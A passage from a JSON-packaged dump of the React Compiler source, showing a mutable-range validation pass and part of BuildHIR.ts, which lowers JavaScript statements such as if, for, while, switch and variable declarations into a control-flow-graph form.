block.terminal.id,\n        end,\n      });\n    }\n  }\n\n  recursivelyTraverseItems(blocks, block => block, null, no_op, no_op);\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/HIR/AssertValidMutableRanges.ts",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\nimport {HIRFunction, MutableRange, Place} from './HIR';\nimport {\n  eachInstructionLValue,\n  eachInstructionOperand,\n  eachTerminalOperand,\n} from './visitors';\nimport {CompilerError} from '..';\nimport {printPlace} from './PrintHIR';\n\n/*\n * Checks that all mutable ranges in the function are well-formed, with\n * start === end === 0 OR end > start.\n */\nexport function assertValidMutableRanges(fn: HIRFunction): void {\n  for (const [, block] of fn.body.blocks) {\n    for (const phi of block.phis) {\n      visit(phi.place, `phi for block bb${block.id}`);\n      for (const [pred, operand] of phi.operands) {\n        visit(operand, `phi predecessor bb${pred} for block bb${block.id}`);\n      }\n    }\n    for (const instr of block.instructions) {\n      for (const operand of eachInstructionLValue(instr)) {\n        visit(operand, `instruction [${instr.id}]`);\n      }\n      for (const operand of eachInstructionOperand(instr)) {\n        visit(operand, `instruction [${instr.id}]`);\n      }\n    }\n    for (const operand of eachTerminalOperand(block.terminal)) {\n      visit(operand, `terminal [${block.terminal.id}]`);\n    }\n  }\n}\n\nfunction visit(place: Place, description: string): void {\n  validateMutableRange(place, place.identifier.mutableRange, description);\n  if (place.identifier.scope !== null) {\n    validateMutableRange(place, place.identifier.scope.range, description);\n  }\n}\n\nfunction validateMutableRange(\n  place: Place,\n  range: MutableRange,\n  description: string,\n): void {\n  CompilerError.invariant(\n    (range.start === 0 && range.end === 0) || range.end > range.start,\n    {\n      reason: `Invalid mutable range: [${range.start}:${range.end}]`,\n      description: `${printPlace(place)} in ${description}`,\n      loc: place.loc,\n    },\n  );\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/HIR/BuildHIR.ts",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\nimport {NodePath, Scope} from '@babel/traverse';\nimport * as t from '@babel/types';\nimport invariant from 'invariant';\nimport {\n  CompilerDiagnostic,\n  CompilerError,\n  CompilerErrorDetail,\n  CompilerSuggestionOperation,\n  ErrorCategory,\n} from '../CompilerError';\nimport {assertExhaustive, hasNode} from '../Utils/utils';\nimport {Environment} from './Environment';\nimport {\n  ArrayExpression,\n  ArrayPattern,\n  BlockId,\n  BranchTerminal,\n  BuiltinTag,\n  Case,\n  Effect,\n  GeneratedSource,\n  GotoVariant,\n  HIRFunction,\n  IfTerminal,\n  InstructionKind,\n  InstructionValue,\n  JsxAttribute,\n  LoweredFunction,\n  ObjectPattern,\n  ObjectProperty,\n  ObjectPropertyKey,\n  Place,\n  PropertyLiteral,\n  ReturnTerminal,\n  SourceLocation,\n  SpreadPattern,\n  ThrowTerminal,\n  Type,\n  makeInstructionId,\n  makePropertyLiteral,\n  makeType,\n  promoteTemporary,\n  validateIdentifierName,\n} from './HIR';\nimport HIRBuilder, {Bindings, createTemporaryPlace} from './HIRBuilder';\nimport {BuiltInArrayId} from './ObjectShape';\n\n/*\n * *******************************************************************************************\n * *******************************************************************************************\n * ************************************* Lowering to HIR *************************************\n * *******************************************************************************************\n * *******************************************************************************************\n */\n\n/*\n * Converts a function into a high-level intermediate form (HIR) which represents\n * the code as a control-flow graph. All normal control-flow is modeled as accurately\n * as possible to allow precise, expression-level memoization. The main exceptions are\n * try/catch statements and exceptions: we currently bail out (skip compilation) for\n * try/catch and do not attempt to model control flow of exceptions, which can occur\n * ~anywhere in JavaScript. The compiler assumes that exceptions will be handled by\n * the runtime, ie by invalidating memoization.\n */\nexport function lower(\n  func: NodePath<t.Function>,\n  env: Environment,\n  // Bindings captured from the outer function, in case lower() is called recursively (for lambdas)\n  bindings: Bindings | null = null,\n  capturedRefs: Map<t.Identifier, SourceLocation> = new Map(),\n): HIRFunction {\n  const builder = new HIRBuilder(env, {\n    bindings,\n    context: capturedRefs,\n  });\n  const context: HIRFunction['context'] = [];\n\n  for (const [ref, loc] of capturedRefs ?? []) {\n    context.push({\n      kind: 'Identifier',\n      identifier: builder.resolveBinding(ref),\n      effect: Effect.Unknown,\n      reactive: false,\n      loc,\n    });\n  }\n\n  let id: string | null = null;\n  if (func.isFunctionDeclaration() || func.isFunctionExpression()) {\n    const idNode = (\n      func as NodePath<t.FunctionDeclaration | t.FunctionExpression>\n    ).get('id');\n    if (hasNode(idNode)) {\n      id = idNode.node.name;\n    }\n  }\n  const params: Array<Place | SpreadPattern> = [];\n  func.get('params').forEach(param => {\n    if (param.isIdentifier()) {\n      const binding = builder.resolveIdentifier(param);\n      if (binding.kind !== 'Identifier') {\n        builder.recordError(\n          CompilerDiagnostic.create({\n            category: ErrorCategory.Invariant,\n            reason: 'Could not find binding',\n            description: `[BuildHIR] Could not find binding for param \\`${param.node.name}\\``,\n          }).withDetails({\n            kind: 'error',\n            loc: param.node.loc ?? null,\n            message: 'Could not find binding',\n          }),\n        );\n        return;\n      }\n      const place: Place = {\n        kind: 'Identifier',\n        identifier: binding.identifier,\n        effect: Effect.Unknown,\n        reactive: false,\n        loc: param.node.loc ?? GeneratedSource,\n      };\n      params.push(place);\n    } else if (\n      param.isObjectPattern() ||\n      param.isArrayPattern() ||\n      param.isAssignmentPattern()\n    ) {\n      const place: Place = {\n        kind: 'Identifier',\n        identifier: builder.makeTemporary(param.node.loc ?? GeneratedSource),\n        effect: Effect.Unknown,\n        reactive: false,\n        loc: param.node.loc ?? GeneratedSource,\n      };\n      promoteTemporary(place.identifier);\n      params.push(place);\n      lowerAssignment(\n        builder,\n        param.node.loc ?? GeneratedSource,\n        InstructionKind.Let,\n        param,\n        place,\n        'Assignment',\n      );\n    } else if (param.isRestElement()) {\n      const place: Place = {\n        kind: 'Identifier',\n        identifier: builder.makeTemporary(param.node.loc ?? GeneratedSource),\n        effect: Effect.Unknown,\n        reactive: false,\n        loc: param.node.loc ?? GeneratedSource,\n      };\n      params.push({\n        kind: 'Spread',\n        place,\n      });\n      lowerAssignment(\n        builder,\n        param.node.loc ?? GeneratedSource,\n        InstructionKind.Let,\n        param.get('argument'),\n        place,\n        'Assignment',\n      );\n    } else {\n      builder.recordError(\n        CompilerDiagnostic.create({\n          category: ErrorCategory.Todo,\n          reason: `Handle ${param.node.type} parameters`,\n          description: `[BuildHIR] Add support for ${param.node.type} parameters`,\n        }).withDetails({\n          kind: 'error',\n          loc: param.node.loc ?? null,\n          message: 'Unsupported parameter type',\n        }),\n      );\n    }\n  });\n\n  let directives: Array<string> = [];\n  const body = func.get('body');\n  if (body.isExpression()) {\n    const fallthrough = builder.reserve('block');\n    const terminal: ReturnTerminal = {\n      kind: 'return',\n      returnVariant: 'Implicit',\n      loc: GeneratedSource,\n      value: lowerExpressionToTemporary(builder, body),\n      id: makeInstructionId(0),\n      effects: null,\n    };\n    builder.terminateWithContinuation(terminal, fallthrough);\n  } else if (body.isBlockStatement()) {\n    lowerStatement(builder, body);\n    directives = body.get('directives').map(d => d.node.value.value);\n  } else {\n    builder.recordError(\n      CompilerDiagnostic.create({\n        category: ErrorCategory.Syntax,\n        reason: `Unexpected function body kind`,\n        description: `Expected function body to be an expression or a block statement, got \\`${body.type}\\``,\n      }).withDetails({\n        kind: 'error',\n        loc: body.node.loc ?? null,\n        message: 'Expected a block statement or expression',\n      }),\n    );\n  }\n\n  let validatedId: HIRFunction['id'] = null;\n  if (id != null) {\n    const idResult = validateIdentifierName(id);\n    if (idResult.isErr()) {\n      for (const detail of idResult.unwrapErr().details) {\n        builder.recordError(detail);\n      }\n    } else {\n      validatedId = idResult.unwrap().value;\n    }\n  }\n\n  builder.terminate(\n    {\n      kind: 'return',\n      returnVariant: 'Void',\n      loc: GeneratedSource,\n      value: lowerValueToTemporary(builder, {\n        kind: 'Primitive',\n        value: undefined,\n        loc: GeneratedSource,\n      }),\n      id: makeInstructionId(0),\n      effects: null,\n    },\n    null,\n  );\n\n  const hirBody = builder.build();\n\n  return {\n    id: validatedId,\n    nameHint: null,\n    params,\n    fnType: bindings == null ? env.fnType : 'Other',\n    returnTypeAnnotation: null, // TODO: extract the actual return type node if present\n    returns: createTemporaryPlace(env, func.node.loc ?? GeneratedSource),\n    body: hirBody,\n    context,\n    generator: func.node.generator === true,\n    async: func.node.async === true,\n    loc: func.node.loc ?? GeneratedSource,\n    env,\n    aliasingEffects: null,\n    directives,\n  };\n}\n\n// Helper to lower a statement\nfunction lowerStatement(\n  builder: HIRBuilder,\n  stmtPath: NodePath<t.Statement>,\n  label: string | null = null,\n): void {\n  const stmtNode = stmtPath.node;\n  switch (stmtNode.type) {\n    case 'ThrowStatement': {\n      const stmt = stmtPath as NodePath<t.ThrowStatement>;\n      const value = lowerExpressionToTemporary(builder, stmt.get('argument'));\n      const handler = builder.resolveThrowHandler();\n      if (handler != null) {\n        /*\n         * NOTE: we could support this, but a `throw` inside try/catch is using exceptions\n         * for control-flow and is generally considered an anti-pattern. we can likely\n         * just not support this pattern, unless it really becomes necessary for some reason.\n         */\n        builder.recordError(\n          new CompilerErrorDetail({\n            reason:\n              '(BuildHIR::lowerStatement) Support ThrowStatement inside of try/catch',\n            category: ErrorCategory.Todo,\n            loc: stmt.node.loc ?? null,\n            suggestions: null,\n          }),\n        );\n      }\n      const terminal: ThrowTerminal = {\n        kind: 'throw',\n        value,\n        id: makeInstructionId(0),\n        loc: stmt.node.loc ?? GeneratedSource,\n      };\n      builder.terminate(terminal, 'block');\n      return;\n    }\n    case 'ReturnStatement': {\n      const stmt = stmtPath as NodePath<t.ReturnStatement>;\n      const argument = stmt.get('argument');\n      let value;\n      if (argument.node === null) {\n        value = lowerValueToTemporary(builder, {\n          kind: 'Primitive',\n          value: undefined,\n          loc: GeneratedSource,\n        });\n      } else {\n        value = lowerExpressionToTemporary(\n          builder,\n          argument as NodePath<t.Expression>,\n        );\n      }\n      const terminal: ReturnTerminal = {\n        kind: 'return',\n        returnVariant: 'Explicit',\n        loc: stmt.node.loc ?? GeneratedSource,\n        value,\n        id: makeInstructionId(0),\n        effects: null,\n      };\n      builder.terminate(terminal, 'block');\n      return;\n    }\n    case 'IfStatement': {\n      const stmt = stmtPath as NodePath<t.IfStatement>;\n      //  Block for code following the if\n      const continuationBlock = builder.reserve('block');\n      //  Block for the consequent (if the test is truthy)\n      const consequentBlock = builder.enter('block', _blockId => {\n        const consequent = stmt.get('consequent');\n        lowerStatement(builder, consequent);\n        return {\n          kind: 'goto',\n          block: continuationBlock.id,\n          variant: GotoVariant.Break,\n          id: makeInstructionId(0),\n          loc: consequent.node.loc ?? GeneratedSource,\n        };\n      });\n      //  Block for the alternate (if the test is not truthy)\n      let alternateBlock: BlockId;\n      const alternate = stmt.get('alternate');\n      if (hasNode(alternate)) {\n        alternateBlock = builder.enter('block', _blockId => {\n          lowerStatement(builder, alternate);\n          return {\n            kind: 'goto',\n            block: continuationBlock.id,\n            variant: GotoVariant.Break,\n            id: makeInstructionId(0),\n            loc: alternate.node?.loc ?? GeneratedSource,\n          };\n        });\n      } else {\n        //  If there is no else clause, use the continuation directly\n        alternateBlock = continuationBlock.id;\n      }\n      const test = lowerExpressionToTemporary(builder, stmt.get('test'));\n      const terminal: IfTerminal = {\n        kind: 'if',\n        test,\n        consequent: consequentBlock,\n        alternate: alternateBlock,\n        fallthrough: continuationBlock.id,\n        id: makeInstructionId(0),\n        loc: stmt.node.loc ?? GeneratedSource,\n      };\n      builder.terminateWithContinuation(terminal, continuationBlock);\n      return;\n    }\n    case 'BlockStatement': {\n      const stmt = stmtPath as NodePath<t.BlockStatement>;\n      const statements = stmt.get('body');\n      /**\n       * Hoistable identifier bindings defined for this precise block\n       * scope (excluding bindings from parent or child block scopes).\n       */\n      const hoistableIdentifiers: Set<t.Identifier> = new Set();\n\n      for (const [, binding] of Object.entries(stmt.scope.bindings)) {\n        // refs to params are always valid / never need to be hoisted\n        if (binding.kind !== 'param') {\n          hoistableIdentifiers.add(binding.identifier);\n        }\n      }\n\n      for (const s of statements) {\n        const willHoist = new Set<NodePath<t.Identifier>>();\n        /*\n         * If we see a hoistable identifier before its declaration, it should be hoisted just\n         * before the statement that references it.\n         */\n        let fnDepth = s.isFunctionDeclaration() ? 1 : 0;\n        const withFunctionContext = {\n          enter: (): void => {\n            fnDepth++;\n          },\n          exit: (): void => {\n            fnDepth--;\n          },\n        };\n        s.traverse({\n          FunctionExpression: withFunctionContext,\n          FunctionDeclaration: withFunctionContext,\n          ArrowFunctionExpression: withFunctionContext,\n          ObjectMethod: withFunctionContext,\n          Identifier(id: NodePath<t.Identifier>) {\n            const id2 = id;\n            if (\n              !id2.isReferencedIdentifier() &&\n              // isReferencedIdentifier is broken and returns false for reassignments\n              id.parent.type !== 'AssignmentExpression'\n            ) {\n              return;\n            }\n            const binding = id.scope.getBinding(id.node.name);\n            /**\n             * We can only hoist an identifier decl if\n             * 1. the reference occurs within an inner function\n             * or\n             * 2. the declaration itself is hoistable\n             */\n            if (\n              binding != null &&\n              hoistableIdentifiers.has(binding.identifier) &&\n              (fnDepth > 0 || binding.kind === 'hoisted')\n            ) {\n              willHoist.add(id);\n            }\n          },\n        });\n        /*\n         * After visiting the declaration, hoisting is no longer required\n         */\n        s.traverse({\n          Identifier(path: NodePath<t.Identifier>) {\n            if (hoistableIdentifiers.has(path.node)) {\n              hoistableIdentifiers.delete(path.node);\n            }\n          },\n        });\n\n        // Hoist declarations that need it to the earliest point where they are needed\n        for (const id of willHoist) {\n          const binding = stmt.scope.getBinding(id.node.name);\n          CompilerError.invariant(binding != null, {\n            reason: 'Expected to find binding for hoisted identifier',\n            description: `Could not find a binding for ${id.node.name}`,\n            loc: id.node.loc ?? GeneratedSource,\n          });\n          if (builder.environment.isHoistedIdentifier(binding.identifier)) {\n            // Already hoisted\n            continue;\n          }\n\n          let kind:\n            | InstructionKind.Let\n            | InstructionKind.HoistedConst\n            | InstructionKind.HoistedLet\n            | InstructionKind.HoistedFunction;\n          if (binding.kind === 'const' || binding.kind === 'var') {\n            kind = InstructionKind.HoistedConst;\n          } else if (binding.kind === 'let') {\n            kind = InstructionKind.HoistedLet;\n          } else if (binding.path.isFunctionDeclaration()) {\n            kind = InstructionKind.HoistedFunction;\n          } else if (!binding.path.isVariableDeclarator()) {\n            builder.recordError(\n              new CompilerErrorDetail({\n                category: ErrorCategory.Todo,\n                reason: 'Unsupported declaration type for hoisting',\n                description: `variable \"${binding.identifier.name}\" declared with ${binding.path.type}`,\n                suggestions: null,\n                loc: id.parentPath.node.loc ?? GeneratedSource,\n              }),\n            );\n            continue;\n          } else {\n            builder.recordError(\n              new CompilerErrorDetail({\n                category: ErrorCategory.Todo,\n                reason: 'Handle non-const declarations for hoisting',\n                description: `variable \"${binding.identifier.name}\" declared with ${binding.kind}`,\n                suggestions: null,\n                loc: id.parentPath.node.loc ?? GeneratedSource,\n              }),\n            );\n            continue;\n          }\n\n          const identifier = builder.resolveIdentifier(id);\n          CompilerError.invariant(identifier.kind === 'Identifier', {\n            reason:\n              'Expected hoisted binding to be a local identifier, not a global',\n            loc: id.node.loc ?? GeneratedSource,\n          });\n          const place: Place = {\n            effect: Effect.Unknown,\n            identifier: identifier.identifier,\n            kind: 'Identifier',\n            reactive: false,\n            loc: id.node.loc ?? GeneratedSource,\n          };\n          lowerValueToTemporary(builder, {\n            kind: 'DeclareContext',\n            lvalue: {\n              kind,\n              place,\n            },\n            loc: id.node.loc ?? GeneratedSource,\n          });\n          builder.environment.addHoistedIdentifier(binding.identifier);\n        }\n        lowerStatement(builder, s);\n      }\n\n      return;\n    }\n    case 'BreakStatement': {\n      const stmt = stmtPath as NodePath<t.BreakStatement>;\n      const block = builder.lookupBreak(stmt.node.label?.name ?? null);\n      builder.terminate(\n        {\n          kind: 'goto',\n          block,\n          variant: GotoVariant.Break,\n          id: makeInstructionId(0),\n          loc: stmt.node.loc ?? GeneratedSource,\n        },\n        'block',\n      );\n      return;\n    }\n    case 'ContinueStatement': {\n      const stmt = stmtPath as NodePath<t.ContinueStatement>;\n      const block = builder.lookupContinue(stmt.node.label?.name ?? null);\n      builder.terminate(\n        {\n          kind: 'goto',\n          block,\n          variant: GotoVariant.Continue,\n          id: makeInstructionId(0),\n          loc: stmt.node.loc ?? GeneratedSource,\n        },\n        'block',\n      );\n      return;\n    }\n    case 'ForStatement': {\n      const stmt = stmtPath as NodePath<t.ForStatement>;\n\n      const testBlock = builder.reserve('loop');\n      //  Block for code following the loop\n      const continuationBlock = builder.reserve('block');\n\n      const initBlock = builder.enter('loop', _blockId => {\n        const init = stmt.get('init');\n        if (init.node == null) {\n          /*\n           * No init expression (e.g., `for (; ...)`), add a placeholder to avoid\n           * invariant about empty blocks\n           */\n          lowerValueToTemporary(builder, {\n            kind: 'Primitive',\n            value: undefined,\n            loc: stmt.node.loc ?? GeneratedSource,\n          });\n          return {\n            kind: 'goto',\n            block: testBlock.id,\n            variant: GotoVariant.Break,\n            id: makeInstructionId(0),\n            loc: stmt.node.loc ?? GeneratedSource,\n          };\n        }\n        if (!init.isVariableDeclaration()) {\n          builder.recordError(\n            new CompilerErrorDetail({\n              reason:\n                '(BuildHIR::lowerStatement) Handle non-variable initialization in ForStatement',\n              category: ErrorCategory.Todo,\n              loc: stmt.node.loc ?? null,\n              suggestions: null,\n            }),\n          );\n          // Lower the init expression as best-effort and continue\n          if (init.isExpression()) {\n            lowerExpressionToTemporary(builder, init as NodePath<t.Expression>);\n          }\n          return {\n            kind: 'goto',\n            block: testBlock.id,\n            variant: GotoVariant.Break,\n            id: makeInstructionId(0),\n            loc: init.node?.loc ?? GeneratedSource,\n          };\n        }\n        lowerStatement(builder, init);\n        return {\n          kind: 'goto',\n          block: testBlock.id,\n          variant: GotoVariant.Break,\n          id: makeInstructionId(0),\n          loc: init.node.loc ?? GeneratedSource,\n        };\n      });\n\n      let updateBlock: BlockId | null = null;\n      const update = stmt.get('update');\n      if (hasNode(update)) {\n        updateBlock = builder.enter('loop', _blockId => {\n          lowerExpressionToTemporary(builder, update);\n          return {\n            kind: 'goto',\n            block: testBlock.id,\n            variant: GotoVariant.Break,\n            id: makeInstructionId(0),\n            loc: update.node?.loc ?? GeneratedSource,\n          };\n        });\n      }\n\n      const bodyBlock = builder.enter('block', _blockId => {\n        return builder.loop(\n          label,\n          updateBlock ?? testBlock.id,\n          continuationBlock.id,\n          () => {\n            const body = stmt.get('body');\n            lowerStatement(builder, body);\n            return {\n              kind: 'goto',\n              block: updateBlock ?? testBlock.id,\n              variant: GotoVariant.Continue,\n              id: makeInstructionId(0),\n              loc: body.node.loc ?? GeneratedSource,\n            };\n          },\n        );\n      });\n\n      builder.terminateWithContinuation(\n        {\n          kind: 'for',\n          loc: stmtNode.loc ?? GeneratedSource,\n          init: initBlock,\n          test: testBlock.id,\n          update: updateBlock,\n          loop: bodyBlock,\n          fallthrough: continuationBlock.id,\n          id: makeInstructionId(0),\n        },\n        testBlock,\n      );\n\n      const test = stmt.get('test');\n      if (test.node == null) {\n        builder.recordError(\n          new CompilerErrorDetail({\n            reason: `(BuildHIR::lowerStatement) Handle empty test in ForStatement`,\n            category: ErrorCategory.Todo,\n            loc: stmt.node.loc ?? null,\n            suggestions: null,\n          }),\n        );\n        // Treat `for(;;)` as `while(true)` to keep the builder state consistent\n        builder.terminateWithContinuation(\n          {\n            kind: 'branch',\n            test: lowerValueToTemporary(builder, {\n              kind: 'Primitive',\n              value: true,\n              loc: stmt.node.loc ?? GeneratedSource,\n            }),\n            consequent: bodyBlock,\n            alternate: continuationBlock.id,\n            fallthrough: continuationBlock.id,\n            id: makeInstructionId(0),\n            loc: stmt.node.loc ?? GeneratedSource,\n          },\n          continuationBlock,\n        );\n      } else {\n        builder.terminateWithContinuation(\n          {\n            kind: 'branch',\n            test: lowerExpressionToTemporary(\n              builder,\n              test as NodePath<t.Expression>,\n            ),\n            consequent: bodyBlock,\n            alternate: continuationBlock.id,\n            fallthrough: continuationBlock.id,\n            id: makeInstructionId(0),\n            loc: stmt.node.loc ?? GeneratedSource,\n          },\n          continuationBlock,\n        );\n      }\n      return;\n    }\n    case 'WhileStatement': {\n      const stmt = stmtPath as NodePath<t.WhileStatement>;\n      //  Block used to evaluate whether to (re)enter or exit the loop\n      const conditionalBlock = builder.reserve('loop');\n      //  Block for code following the loop\n      const continuationBlock = builder.reserve('block');\n      //  Loop body\n      const loopBlock = builder.enter('block', _blockId => {\n        return builder.loop(\n          label,\n          conditionalBlock.id,\n          continuationBlock.id,\n          () => {\n            const body = stmt.get('body');\n            lowerStatement(builder, body);\n            return {\n              kind: 'goto',\n              block: conditionalBlock.id,\n              variant: GotoVariant.Continue,\n              id: makeInstructionId(0),\n              loc: body.node.loc ?? GeneratedSource,\n            };\n          },\n        );\n      });\n      /*\n       * The code leading up to the loop must jump to the conditional block,\n       * to evaluate whether to enter the loop or bypass to the continuation.\n       */\n      const loc = stmt.node.loc ?? GeneratedSource;\n      builder.terminateWithContinuation(\n        {\n          kind: 'while',\n          loc,\n          test: conditionalBlock.id,\n          loop: loopBlock,\n          fallthrough: continuationBlock.id,\n          id: makeInstructionId(0),\n        },\n        conditionalBlock,\n      );\n      const test = lowerExpressionToTemporary(builder, stmt.get('test'));\n      const terminal: BranchTerminal = {\n        kind: 'branch',\n        test,\n        consequent: loopBlock,\n        alternate: continuationBlock.id,\n        fallthrough: conditionalBlock.id,\n        id: makeInstructionId(0),\n        loc: stmt.node.loc ?? GeneratedSource,\n      };\n      //  Complete the conditional and continue with code after the loop\n      builder.terminateWithContinuation(terminal, continuationBlock);\n      return;\n    }\n    case 'LabeledStatement': {\n      const stmt = stmtPath as NodePath<t.LabeledStatement>;\n      const label = stmt.node.label.name;\n      const body = stmt.get('body');\n      switch (body.node.type) {\n        case 'ForInStatement':\n        case 'ForOfStatement':\n        case 'ForStatement':\n        case 'WhileStatement':\n        case 'DoWhileStatement': {\n          /*\n           * labeled loops are special because of continue, so push the label\n           * down\n           */\n          lowerStatement(builder, stmt.get('body'), label);\n          break;\n        }\n        default: {\n          /*\n           * All other statements create a continuation block to allow `break`,\n           * explicitly *don't* pass the label down\n           */\n          const continuationBlock = builder.reserve('block');\n          const block = builder.enter('block', () => {\n            const body = stmt.get('body');\n            builder.label(label, continuationBlock.id, () => {\n              lowerStatement(builder, body);\n            });\n            return {\n              kind: 'goto',\n              block: continuationBlock.id,\n              variant: GotoVariant.Break,\n              id: makeInstructionId(0),\n              loc: body.node.loc ?? GeneratedSource,\n            };\n          });\n          builder.terminateWithContinuation(\n            {\n              kind: 'label',\n              block,\n              fallthrough: continuationBlock.id,\n              id: makeInstructionId(0),\n              loc: stmt.node.loc ?? GeneratedSource,\n            },\n            continuationBlock,\n          );\n        }\n      }\n      return;\n    }\n    case 'SwitchStatement': {\n      const stmt = stmtPath as NodePath<t.SwitchStatement>;\n      //  Block following the switch\n      const continuationBlock = builder.reserve('block');\n      /*\n       * The goto target for any cases that fallthrough, which initially starts\n       * as the continuation block and is then updated as we iterate through cases\n       * in reverse order.\n       */\n      let fallthrough = continuationBlock.id;\n      /*\n       * Iterate through cases in reverse order, so that previous blocks can fallthrough\n       * to successors\n       */\n      const cases: Array<Case> = [];\n      let hasDefault = false;\n      for (let ii = stmt.get('cases').length - 1; ii >= 0; ii--) {\n        const case_: NodePath<t.SwitchCase> = stmt.get('cases')[ii];\n        const testExpr = case_.get('test');\n        if (testExpr.node == null) {\n          if (hasDefault) {\n            builder.recordError(\n              new CompilerErrorDetail({\n                reason: `Expected at most one \\`default\\` branch in a switch statement, this code should have failed to parse`,\n                category: ErrorCategory.Syntax,\n                loc: case_.node.loc ?? null,\n                suggestions: null,\n              }),\n            );\n            break;\n          }\n          hasDefault = true;\n        }\n        const block = builder.enter('block', _blockId => {\n          return builder.switch(label, continuationBlock.id, () => {\n            case_\n              .get('consequent')\n              .forEach(consequent => lowerStatement(builder, consequent));\n            /*\n             * always generate a fallthrough to the next block, this may be dead code\n             * if there was an explicit break, but if so it will be pruned later.\n             */\n            return {\n              kind: 'goto',\n              block: fallthrough,\n              variant: GotoVariant.Break,\n              id: makeInstructionId(0),\n              loc: case_.node.loc ?? GeneratedSource,\n            };\n          });\n        });\n        let test: Place | null = null;\n        if (hasNode(testExpr)) {\n          test = lowerReorderableExpression(builder, testExpr);\n        }\n        cases.push({\n          test,\n          block,\n        });\n        fallthrough = block;\n      }\n      /*\n       * it doesn't matter for our analysis purposes, but reverse the order of the cases\n       * back to the original to make it match the original code/intent.\n       */\n      cases.reverse();\n      /*\n       * If there wasn't an explicit default case, generate one to model the fact that execution\n       * could bypass any of the other cases and jump directly to the continuation.\n       */\n      if (!hasDefault) {\n        cases.push({test: null, block: continuationBlock.id});\n      }\n\n      const test = lowerExpressionToTemporary(\n        builder,\n        stmt.get('discriminant'),\n      );\n      builder.terminateWithContinuation(\n        {\n          kind: 'switch',\n          test,\n          cases,\n          fallthrough: continuationBlock.id,\n          id: makeInstructionId(0),\n          loc: stmt.node.loc ?? GeneratedSource,\n        },\n        continuationBlock,\n      );\n      return;\n    }\n    case 'VariableDeclaration': {\n      const stmt = stmtPath as NodePath<t.VariableDeclaration>;\n      const nodeKind: t.VariableDeclaration['kind'] = stmt.node.kind;\n      if (nodeKind === 'var') {\n        builder.recordError(\n          new CompilerErrorDetail({\n            reason: `(BuildHIR::lowerStatement) Handle ${nodeKind} kinds in VariableDeclaration`,\n            category: ErrorCategory.Todo,\n            loc: stmt.node.loc ?? null,\n            suggestions: null,\n          }),\n        );\n        // Treat `var` as `let` so references to the variable don't break\n      }\n      const kind =\n        nodeKind === 'let' || nodeKind === 'var'\n          ? InstructionKind.Let\n          : InstructionKind.Const;\n      for (const declaration of stmt.get('declarations')) {\n        const id = declaration.get('id');\n        const init = declaration.get('init');\n        if (hasNode(init)) {\n          const value = lowerExpressionToTemporary(builder, init);\n          lowerAssignment(\n            builder,\n            stmt.node.loc ?? GeneratedSource,\n            kind,\n            id,\n            value,\n            id.isObjectPattern() || id.isArrayPattern()\n              ? 'Destructure'\n              : 'Assignment',\n          );\n        } else if (id.isIdentifier()) {\n          const binding = builder.resolveIdentifier(id);\n          if (binding.kind !== 'Identifier') {\n            builder.recordError(\n              new CompilerErrorDetail({\n                reason: `(BuildHIR::lowerAssignment) Could not find binding for declaration.`,\n                category: ErrorCategory.Invariant,\n                loc: id.node.loc ?? null,\n                suggestions: null,\n              }),\n            );\n          } else {\n            const place: Place = {\n              effect: Effect.Unknown,\n              identifier: binding.identifier,\n              kind: 'Identifier',\n              reactive: false,\n              loc: id.node.loc ?? GeneratedSource,\n            };\n            if (builder.isContextIdentifier(id)) {\n              if (kind === InstructionKind.Const) {\n                const declRangeStart = declaration.parentPath.node.start!;\n                builder.recordError(\n                  new CompilerErrorDetail({\n                    reason: `Expect \\`const\\` declaration not to be reassigned`,\n                    category: ErrorCategory.Syntax,\n                    loc: id.node.loc ?? null,\n                    suggestions: [\n                      {\n                        description: 'Change to a `let` declaration',\n                        op: CompilerSuggestionOperation.Replace,\n                        range: [declRangeStart, declRangeStart + 5], // \"const\".length\n                        text: 'let',\n                      },\n                    ],\n                  }),\n                );\n              }\n              lowerValueToTemporary(builder, {\n                kind: 'DeclareContext',\n                lvalue: {\n                  kind: InstructionKind.Let,\n                  place,\n                },\n                loc: id.node.loc ?? GeneratedSource,\n              });\n            } else {\n              const typeAnnotation = id.get('typeAnnotation');\n              let type: t.FlowType | t.TSType | null;\n              if (typeAnnotation.isTSTypeAnnotation()) {\n                const typePath = typeAnnotation.get('typeAnnotation');\n                type = typePath.node;\n              } else if (typeAnnotation.isTypeAnnotation()) {\n                const typePath = typeAnnotation.get('typeAnnotation');\n                type = typePath.node;\n              } else {\n                type = null;\n              }\n              lowerValueToTemporary(builder, {\n                kind: 'DeclareLocal',\n                lvalue: {\n                  kind,\n                  place,\n                },\n                type,\n                loc: id.node.loc ?? GeneratedSource,\n              });\n            }\n          }\n        } else {\n          builder.recordError(\n            new CompilerErrorDetail({\n              reason: `Expected variable declaration to be an identifier if no initializer was provided`,\n              description: `Got a \\`${id.type}\\``,\n              category: ErrorCategory.Syntax,\n              loc: stmt.node.loc ?? null,\n              suggestions: null,\n            }),\n          );\n        }\n      }\n      return;\n    }\n    case 'ExpressionStatement': {\n      const stmt = stmtPath as NodePath<t.ExpressionStatement>;\n      const expression = stmt.get('expression');\n      lowerExpressionToTemporary(builder, expression);\n      return;\n    }\n    case 'DoWhileStatement': {\n      const stmt = stmtPath as NodePath<t.DoWhileStatement>;\n      //  Block used to evaluate whether to (re)enter or exit the loop\n      const conditionalBlock = builder.reserve('loop');\n      //  Block for code following the loop\n      const continuationBlock = builder.reserve('block');\n      //  Loop body, executed at least once uncondtionally prior to exit\n      const loopBlock = builder.enter('block', _loopBlockId => {\n        return builder.loop(\n          label,\n          conditionalBlock.id,\n          continuationBlock.id,\n          () => {\n            const body = stmt.get('body');\n            lowerStatement(builder, body);\n            return {\n              kind: 'goto',\n              block: conditionalBlock.id,\n              variant: GotoVariant.Continue,\n              id: makeInstructionId(0),\n              loc: body.node.loc ?? GeneratedSource,\n            };\n          },\n        );\n      });\n      /*\n       * Jump to the conditional block to evaluate whether to (re)enter the loop or exit to the\n       * continuation block.\n       */\n      const loc = stmt.node.loc ?? GeneratedSource;\n      builder.terminateWithContinuation(\n        {\n          kind: 'do-while',\n          loc,\n          test: conditionalBlock.id,\n          loop: loopBlock,\n          fallthrough: continuationBlock.id,\n          id: makeInstructionId(0),\n        },\n        conditionalBlock,\n      );\n      